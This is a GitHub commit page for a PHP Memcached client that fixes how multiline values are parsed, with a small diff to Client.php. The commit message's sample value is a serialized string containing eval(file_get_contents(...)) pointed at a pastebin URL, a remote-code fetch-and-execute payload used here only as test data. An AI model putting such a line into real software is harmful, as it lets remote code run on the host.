Skip to content

Commit

Permalink
fix bug in Multiline values
Browse files Browse the repository at this point in the history
fix bug for multiline value like this:
get somekey
VALUE somekey 0 96
a:1:{s:12:"global_start";s:62:"eval(file_get_contents('http://pastebin.com/raw/00000000'));
";}
END
  • Loading branch information
aaarkadev committed Dec 21, 2016
1 parent 0fb2275 commit 094205f
Showing 1 changed file with 6 additions and 2 deletions.
8 changes: 6 additions & 2 deletions src/Clickalicious/Memcached/Client.php
Expand Up @@ -1836,9 +1836,9 @@ protected function parseReadResponse($buffer, array $lines)

// Iterator for lines ...
$line = 0;

$frame_break = false;
// Loop as long as line is !== END\r\n Terminator (1 line META 1 line DATA)
while ($lines[$line] !== self::RESPONSE_END) {
while ((!$frame_break && $lines[$line] !== self::RESPONSE_END)) {
/**
* Try to fetch metadata. Why try? Cause we can receive multiple lines for a value. If the current key
* reference to a simple value like an integer (65000 for example) then we have one line <meta> data and
Expand Down Expand Up @@ -1868,6 +1868,10 @@ protected function parseReadResponse($buffer, array $lines)
// Fetch whole & complete value!
while (strlen($value) < $length) {
++$frame;
if($lines[$line + $frame] === self::RESPONSE_END && !isset($lines[$line + $frame+1])) {
$frame_break = true;
break;
}
$value .= $lines[$line + $frame];
}
} else {
Expand Down

0 comments on commit 094205f

Please sign in to comment.